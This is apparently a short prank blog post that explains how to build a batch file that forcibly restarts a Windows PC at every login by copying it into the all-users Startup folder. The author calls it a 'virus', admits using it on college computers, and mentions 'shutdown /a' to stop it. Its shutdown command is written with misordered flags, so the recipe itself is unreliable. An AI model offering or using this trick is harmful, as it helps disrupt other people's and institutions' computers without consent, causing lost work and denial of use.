Continuously restart your friends PC

 I always use this virus in our college pc..ya I know it's not fair to mess with college system, but then I also discover how to stop this virus. Now come to the topic, follow the procedure.

  •  Open notepad
  •  Write: shutdown -r -t -f 15 (here r : restart, t : given time and f : forcefully)
  •  Save it as anyname.bat
  • Copy the file into the C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup directory
  • Congrats!! you just made your active virus.
 You can abort shutdown process from command prompt by following command
 shutdown /a